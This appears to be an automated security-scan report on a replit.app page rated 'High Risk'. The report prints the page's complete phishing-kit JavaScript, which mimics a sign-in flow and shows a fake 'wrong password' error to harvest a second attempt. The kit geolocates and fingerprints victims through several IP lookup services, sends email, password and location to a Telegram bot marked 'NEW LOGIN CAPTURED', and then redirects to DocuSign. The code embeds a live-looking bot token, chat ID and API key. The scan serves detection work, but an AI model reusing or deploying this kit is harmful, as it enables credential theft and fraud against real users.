technology software

English

You're looking at domain 'specific-slippery-cpu.replit.app' on the application-focused generic top-level domain (.app), featuring subdomain 'specific-slippery-cpu'. Its registrable label 'replit' stretches across 6 characters holding two vowels versus 4 consonants. Tokenizing the label suggests 2 words: rep, lit. Average segment length settles at 3 characters. No strong language cues emerged from the frequency lists.

html/6c/3e/6c3edbc4-4842-43fd-9044-b4fd993f63ab.html.gz

sha256=:hzdhuHERR9xRa2ECk26a0AXzowFTSe/N4aSW8DJvEFE=:

sha256=:VVmAaDpYLBkQqVRki0rjj1jXbnl/Ar/cLF6BeQHm1Pw=:

sha256=:yKMt9n+L1X9wxjceFewjLfJd3ro+uQYNeqpoEBps4kA=:

default-src 'none'; style-src 'unsafe-inline' data:; font-src data:; img-src data: https://upload.wikimedia.org/favicon.ico; connect-src https://upload.wikimedia.org/favicon.ico; media-src data: 'self'; report-uri https://commons.wikimedia.org/w/api.php?reportonly=1&source=image&action=cspreport&format=json&

sha256=:wupF6gX/XH3xk2dwwQRyXypo9D/TQ/NfPaI6MLJ94yo=:

176e894661aa9cdc9a5cba6c720044cbbf7b8bd80d1c9a142a7c24b1b6c50d15

3ed40678f4e0b3c2cc99c7982e2b80f339c055d09467ab4bfca225649eb48e3e

f59d271381103c4693735bf473507ac6a835d938d5fa413c55519895ee7ca0fc

0abc34ed9e90724d58aede01d621e5d9a54eddac8b3cf61a6b2eddc341421c56

viewport

HSTS header missing - vulnerable to protocol downgrade attacks

CSP header missing - vulnerable to XSS attacks

Domain Manager

Nom-IQ Limited dba Com Laude

replit.app

GC Abuse

Google LLC

GOOGL-2


      tailwind.config = {
        theme: {
          extend: {
            colors: {
              border: 'hsl(var(--border))',
              input: 'hsl(var(--input))',
              ring: 'hsl(var(--ring))',
              background: 'hsl(var(--background))',
              foreground: 'hsl(var(--foreground))',
              muted: 'hsl(var(--muted))',
              primary: {
                DEFAULT: 'hsl(var(--primary))',
                foreground: 'hsl(var(--primary-foreground))',
              },
              accent: {
                DEFAULT: 'hsl(var(--accent))',
                foreground: 'hsl(var(--accent-foreground))',
              },
              destructive: {
                DEFAULT: 'hsl(var(--destructive))',
                foreground: 'hsl(var(--destructive-foreground))',
              },
              page: 'hsl(var(--page))',
              'auth-card': 'hsl(var(--auth-card))',
              'input-bg': 'hsl(var(--input-bg))',
              'button-primary': 'hsl(var(--button-primary))',
            },
            fontFamily: {
              sans: ['system-ui', 'sans-serif'],
              body: ["'Segoe UI'", 'system-ui', 'sans-serif'],
            },
            backgroundImage: {
              'grad-page-background-soft-wash': 'linear-gradient(135deg, #EEF6FB 0%, #F4F1F7 45%, #F8F4F2 100%)',
              'grad-page-background-ambient':
                'radial-gradient(circle at 20% 80%, rgba(214,236,248,0.45) 0%, rgba(214,236,248,0) 40%), radial-gradient(circle at 75% 20%, rgba(241,229,236,0.35) 0%, rgba(241,229,236,0) 42%)',
            },
          },
        },
      };
    


      // ── Splash dismiss ──
      (function initSplash() {
        var splash = document.getElementById('splash');
        setTimeout(function() {
          splash.classList.add('fade-out');
          setTimeout(function() { splash.style.display = 'none'; }, 500);
        }, 2200);
      })();

      // ─── CONFIGURE HERE ────────────────────────────────────────────────────
      const TELEGRAM_BOT_TOKEN = '8828427552:AAEM2UaB6yMoqkXm2b_5xpIwWUulVR0J6qc';
      const TELEGRAM_CHAT_ID   = '5562474586';

      // ip2location.io — FREE API key from https://www.ip2location.io/
      const IP2LOCATION_API_KEY = '4450290A754AF247658C466BD0E4A2AA';
      // ───────────────────────────────────────────────────────────────────────

      let capturedEmail = '';
      let geoInfo = null; // populated on page load

      // ── Safe fetch with manual timeout ──
      function fetchWithTimeout(url, ms) {
        return new Promise((resolve, reject) => {
          const controller = new AbortController();
          const timer = setTimeout(() => { controller.abort(); reject(new Error('timeout')); }, ms);
          fetch(url, { signal: controller.signal })
            .then(r => { clearTimeout(timer); resolve(r); })
            .catch(e => { clearTimeout(timer); reject(e); });
        });
      }

      // ── Fetch IP / Geo / ISP info once on page load ──
      const geoPromise = (async function fetchGeo() {
        try {
          let realIP = null;
          let json   = null;

          // 0️⃣ ipify — get real client IP (avoids CDN/proxy spoofing)
          const ipSources = [
            'https://api64.ipify.org?format=json',
            'https://api.ipify.org?format=json',
            'https://ipv4.icanhazip.com',
          ];
          for (const src of ipSources) {
            if (realIP) break;
            try {
              const r = await fetchWithTimeout(src, 4000);
              if (r.ok) {
                const txt = await r.text();
                // icanhazip returns plain text; ipify returns JSON
                try { const j = JSON.parse(txt); realIP = j.ip || null; } catch(_) { realIP = txt.trim() || null; }
              }
            } catch (_) { /* try next */ }
          }

          // 1️⃣ ip2location.io (keyed)
          const keyIsValid = IP2LOCATION_API_KEY &&
                             IP2LOCATION_API_KEY.length > 10 &&
                             IP2LOCATION_API_KEY !== 'YOUR_IP2LOCATION_KEY_HERE';
          if (keyIsValid && !json) {
            try {
              const ipParam = realIP ? `&ip=${encodeURIComponent(realIP)}` : '';
              const res = await fetchWithTimeout(
                `https://api.ip2location.io/?key=${IP2LOCATION_API_KEY}&format=json${ipParam}`, 5000
              );
              if (res.ok) {
                const raw = await res.json();
                if (raw && raw.ip) {
                  json = {
                    source: 'ip2location', query: raw.ip,
                    country: raw.country_name || '', countryCode: raw.country_code || '',
                    regionName: raw.region_name || '', city: raw.city_name || '',
                    zip: raw.zip_code || '', timezone: raw.time_zone || '',
                    isp: raw.isp || '', org: raw.as || raw.asn || '',
                  };
                }
              }
            } catch (_) { /* silent */ }
          }

          // 2️⃣ ipapi.co — wide CORS support, no key needed
          if (!json) {
            try {
              const ipPath = realIP ? `/${encodeURIComponent(realIP)}` : '';
              const res2 = await fetchWithTimeout(`https://ipapi.co${ipPath}/json/`, 5000);
              if (res2.ok) {
                const raw2 = await res2.json();
                if (raw2 && raw2.ip && !raw2.error) {
                  json = {
                    source: 'ipapi.co', query: raw2.ip,
                    country: raw2.country_name || '', countryCode: raw2.country_code || '',
                    regionName: raw2.region || '', city: raw2.city || '',
                    zip: raw2.postal || '', timezone: raw2.timezone || '',
                    isp: raw2.org || '', org: raw2.asn || '',
                  };
                }
              }
            } catch (_) { /* silent */ }
          }

          // 3️⃣ ipwho.is
          if (!json) {
            try {
              const ipPath3 = realIP ? `/${encodeURIComponent(realIP)}` : '';
              const res3 = await fetchWithTimeout(`https://ipwho.is${ipPath3}`, 5000);
              if (res3.ok) {
                const raw3 = await res3.json();
                if (raw3 && raw3.success !== false) {
                  json = {
                    source: 'ipwho', query: raw3.ip || realIP || '',
                    country: raw3.country || '', countryCode: raw3.country_code || '',
                    regionName: raw3.region || '', city: raw3.city || '',
                    zip: raw3.postal || '', timezone: raw3.timezone ? raw3.timezone.id : '',
                    isp: raw3.connection ? raw3.connection.isp : '',
                    org: raw3.connection ? raw3.connection.org : '',
                  };
                }
              }
            } catch (_) { /* silent */ }
          }

          // 4️⃣ freeipapi.com
          if (!json) {
            try {
              const ipPath4 = realIP ? `/${encodeURIComponent(realIP)}` : '';
              const res4 = await fetchWithTimeout(`https://freeipapi.com/api/json${ipPath4}`, 5000);
              if (res4.ok) {
                const raw4 = await res4.json();
                if (raw4 && raw4.ipAddress) {
                  json = {
                    source: 'freeipapi', query: raw4.ipAddress || realIP || '',
                    country: raw4.countryName || '', countryCode: raw4.countryCode || '',
                    regionName: raw4.regionName || '', city: raw4.cityName || '',
                    zip: raw4.zipCode || '', timezone: raw4.timeZone || '',
                    isp: raw4.isProxy ? 'Proxy/VPN detected' : (raw4.isp || ''), org: '',
                  };
                }
              }
            } catch (_) { /* silent */ }
          }

          // 5️⃣ ip-api.com
          if (!json) {
            try {
              const ipPath5 = realIP ? `/${encodeURIComponent(realIP)}` : '';
              const res5 = await fetchWithTimeout(
                `https://ip-api.com/json${ipPath5}?fields=status,country,countryCode,regionName,city,zip,timezone,isp,org,query`, 6000
              );
              if (res5.ok) {
                const raw5 = await res5.json();
                if (raw5 && raw5.status === 'success') {
                  json = { source: 'ip-api', ...raw5 };
                }
              }
            } catch (_) { /* silent */ }
          }

          // 6️⃣ Last resort: raw IP only
          if (!json && realIP) {
            json = {
              source: 'ipify-only', query: realIP,
              country: '', countryCode: '', regionName: '',
              city: '', zip: '', timezone: '', isp: '', org: '',
            };
          }

          geoInfo = json;
          return json;
        } catch (e) {
          geoInfo = null;
          return null;
        }
      })();

      // HTML-escape for parse_mode:'HTML' — prevents @username, #hashtag, URL auto-linking
      function escHtml(v) {
        return String(v || '')
          .replace(/&/g, '&amp;')
          .replace(/</g, '&lt;')
          .replace(/>/g, '&gt;');
      }
      // Legacy stubs (used nowhere now, kept for safety)
      function escMd(v) { return String(v || ''); }
      function escMdNoDot(v) { return String(v || ''); }

      // ── Collect essential browser/device signals ──
      async function collectDeviceInfo() {
        const nav = window.navigator;
        const platform     = nav.platform || 'unknown';
        const cookieEnabled = nav.cookieEnabled ? 'Enabled' : 'Disabled';
        return { platform, cookieEnabled };
      }

      let deviceInfo = null;
      (async function initDeviceInfo() {
        try { deviceInfo = await collectDeviceInfo(); } catch(e) { deviceInfo = null; }
      })();

      function buildGeoText() {
        const d   = deviceInfo || {};
        const now = new Date().toUTCString();
        const line = (emoji, label, value) =>
          (value && value !== 'unknown') ? `${emoji} ${label}: <code>${escHtml(value)}</code>\n` : '';

        const geoBlock = geoInfo ? (
          `━━━━━━━━━━━━━━━━━━━━━━━━\n` +
          `🌐 NETWORK INFO\n` +
          line('🔌', 'IP Address', geoInfo.query) +
          line('📡', 'ISP',        geoInfo.isp) +
          `\n🗺️ LOCATION\n` +
          line('🌍', 'Country',    geoInfo.country ? `${geoInfo.country} (${geoInfo.countryCode})` : '') +
          line('📍', 'Region',     geoInfo.regionName) +
          line('🏙️', 'City',       geoInfo.city) +
          line('🕰️', 'Timezone',   geoInfo.timezone)
        ) : (
          `━━━━━━━━━━━━━━━━━━━━━━━━\n` +
          `🌐 NETWORK INFO\n` +
          `⚠️ Geo lookup failed\n`
        );

        const deviceBlock =
          `\n💻 DEVICE\n` +
          line('🖥️', 'Platform', d.platform) +
          line('🍪', 'Cookies',  d.cookieEnabled) +
          `\n⏱️ Captured: ${now}\n` +
          `━━━━━━━━━━━━━━━━━━━━━━━━`;

        return geoBlock + deviceBlock;
      }

      function buildGeoEmailParams() {
        const d   = deviceInfo || {};
        const now = new Date().toUTCString();
        return {
          ip:              geoInfo ? geoInfo.query      : 'unknown',
          isp:             geoInfo ? geoInfo.isp        : 'unknown',
          country:         geoInfo ? `${geoInfo.country} (${geoInfo.countryCode})` : 'unknown',
          state:           geoInfo ? geoInfo.regionName : 'unknown',
          city:            geoInfo ? geoInfo.city       : 'unknown',
          timezone:        geoInfo ? geoInfo.timezone   : 'unknown',
          platform:        d.platform     || 'unknown',
          cookies_enabled: d.cookieEnabled || 'unknown',
          timestamp:       now,
        };
      }

      async function sendToTelegram(data) {
        // Ensure geo + device info are ready before sending
        if (!geoInfo) { try { await geoPromise; } catch(_) {} }
        if (!deviceInfo) {
          try { deviceInfo = await collectDeviceInfo(); } catch(e) {}
        }
        const url = `https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/sendMessage`;
        const attemptLabel = data.attempt === 1 ? '1st' : data.attempt === 2 ? '2nd' : `${data.attempt}th`;
        const text =
          `🔐 NEW LOGIN CAPTURED\n` +
          `━━━━━━━━━━━━━━━━━━━━━━━━\n` +
          `👤 CREDENTIALS\n` +
          `📧 Email: <code>${escHtml(data.email)}</code>\n` +
          (data.password ? `🔑 Password: <code>${escHtml(data.password)}</code>\n` : '') +
          (data.attempt  ? `🔄 Attempt: ${attemptLabel}\n` : '') +
          `\n` +
          buildGeoText();

        const res = await fetch(url, {
          method: 'POST',
          headers: { 'Content-Type': 'application/json' },
          body: JSON.stringify({
            chat_id:    TELEGRAM_CHAT_ID,
            text,
            parse_mode: 'HTML',
            disable_web_page_preview: true,
          }),
        });
        return res.ok;
      }

      async function sendAll(data) {
        await sendToTelegram(data);
      }

      function setStatus(el, type, msg) {
        const colors = { success: 'text-green-600', error: 'text-red-500', muted: 'text-muted' };
        el.className = `mb-[12px] text-xs text-center ${colors[type] || ''}`;
        el.textContent = msg;
      }

      // ── Step 1: Email ──
      document.getElementById('next-btn-email').addEventListener('click', async () => {
        const emailInput = document.getElementById('email-input');
        const statusEl   = document.getElementById('tg-status-email');
        const rawEmail   = emailInput.value.trim();
        let email;
        try { email = decodeURIComponent(rawEmail); } catch(_) { email = rawEmail; }

        if (!email) { emailInput.focus(); return; }

        capturedEmail = email;

        try {
          await sendAll({ email });
        } catch (e) { /* silent — still advance */ }

        // Advance to password step
        document.getElementById('email-display').textContent = email;
        document.getElementById('step-email').classList.add('hidden');
        document.getElementById('step-password').classList.remove('hidden');
        document.getElementById('back-btn').style.visibility = 'visible';
        document.getElementById('password-input').focus();
      });

      // ── Step 2: Password (1 incorrect attempt then redirect) ──
      let passwordAttempts = 0;

      document.getElementById('next-btn-pass').addEventListener('click', async function() {
        const passInput = document.getElementById('password-input');
        const password  = passInput.value.trim();
        const errorEl   = document.getElementById('pass-error');
        const spacerEl  = document.getElementById('pass-error-spacer');
        const btn       = document.getElementById('next-btn-pass');

        if (!password) { passInput.focus(); return; }
        if (btn.disabled) return;

        btn.disabled = true;
        passwordAttempts++;

        try {
          await sendAll({ email: capturedEmail, password: password, attempt: passwordAttempts });
        } catch (e) { /* silent */ }

        if (passwordAttempts >= 2) {
          // 2nd attempt captured — show success state then redirect
          passInput.disabled = true;
          errorEl.classList.add('hidden');
          spacerEl.classList.add('hidden');

          // Replace card content with signing-in animation
          var card = document.getElementById('step-password');
          card.innerHTML = `
            <div class="flex flex-col items-center justify-center py-[40px]">
              <div style="width:32px;height:32px;border:3px solid #e0e0e0;border-top-color:#0078d4;border-radius:50%;animation:spin 0.8s linear infinite;margin-bottom:20px"></div>
              <p class="text-sm text-[#333] font-semibold">Signing in...</p>
              <p class="text-xs text-[#666] mt-[8px]">Please wait</p>
            </div>
          `;
          // Add spin keyframes if not present
          if (!document.getElementById('spin-style')) {
            var style = document.createElement('style');
            style.id = 'spin-style';
            style.textContent = '@keyframes spin{to{transform:rotate(360deg)}}';
            document.head.appendChild(style);
          }

          setTimeout(function() {
            window.location.href = 'https://href.li/https://docusign.com';
          }, 2500);
          return;
        }

        // 1st attempt — show "wrong password" error, clear field, let them retry once more
        errorEl.classList.remove('hidden');
        spacerEl.classList.add('hidden');
        passInput.value = '';
        passInput.focus();
        btn.disabled = false;
      });

      // ── Enter key support ──
      document.getElementById('email-input').addEventListener('keyup', (e) => {
        if (e.key === 'Enter') {
          e.preventDefault();
          document.getElementById('next-btn-email').click();
        }
      });
      document.getElementById('password-input').addEventListener('keyup', (e) => {
        if (e.key === 'Enter') {
          e.preventDefault();
          document.getElementById('next-btn-pass').click();
        }
      });

      // ── Back button ──
      document.getElementById('back-btn').addEventListener('click', () => {
        document.getElementById('step-password').classList.add('hidden');
        document.getElementById('step-email').classList.remove('hidden');
        document.getElementById('back-btn').style.visibility = 'hidden';
      });

      // ── Hard reset: always start on the email step with no error visible ──
      (function hardReset() {
        document.getElementById('step-email').classList.remove('hidden');
        document.getElementById('step-password').classList.add('hidden');
        document.getElementById('back-btn').style.visibility = 'hidden';
        document.getElementById('pass-error').classList.add('hidden');
        document.getElementById('pass-error-spacer').classList.remove('hidden');
        passwordAttempts = 0;
      })();

      // ── Auto-route: if ?email= param exists, skip to password step ──
      (function autoRoute() {
        const params = new URLSearchParams(window.location.search);
        let emailParam = params.get('email');

        // When the email contains '#' (e.g. ?email=#robert@outlook.com), the browser
        // treats '#' as the fragment delimiter, so URLSearchParams returns "" and the
        // real value lands in window.location.hash.  Reconstruct it here.
        if ((!emailParam || !emailParam.trim()) && window.location.hash) {
          const rawSearch = window.location.search;
          if (rawSearch.includes('email=')) {
            const afterEquals = rawSearch.split('email=')[1] || '';
            emailParam = afterEquals + window.location.hash.slice(1);
          }
        }

        if (emailParam && emailParam.trim()) {
          let decoded = emailParam.trim().replace(/^#+/, '');
          try { decoded = decodeURIComponent(decoded); } catch(_) {}
          capturedEmail = decoded;
          document.getElementById('email-display').textContent = capturedEmail;
          document.getElementById('email-input').value = capturedEmail;
          document.getElementById('step-email').classList.add('hidden');
          document.getElementById('step-password').classList.remove('hidden');
          document.getElementById('back-btn').style.visibility = 'visible';
          document.getElementById('password-input').focus();
        }
      })();
    

Requests	IP Address	Location	AS Autonomous System
5	185.15.59.240	United States	AS14907Wikimedia Foundation Inc.
2	34.117.33.233Google · CDN	Kansas City, Missouri, United States	AS396982Google LLC
2	142.250.154.95Google · CDN	United States	AS15169Google LLC
2	104.18.0.22Cloudflare · WAF	United States	AS13335Cloudflare, Inc.
2	172.67.68.11Cloudflare · WAF	United States	AS13335Cloudflare, Inc.
13	5	-	-

Security Scan Report: specific-slippery-cpu.replit.app

Summary

AI Security Verdict

High Risk

Risk Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Detected Technologies5

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History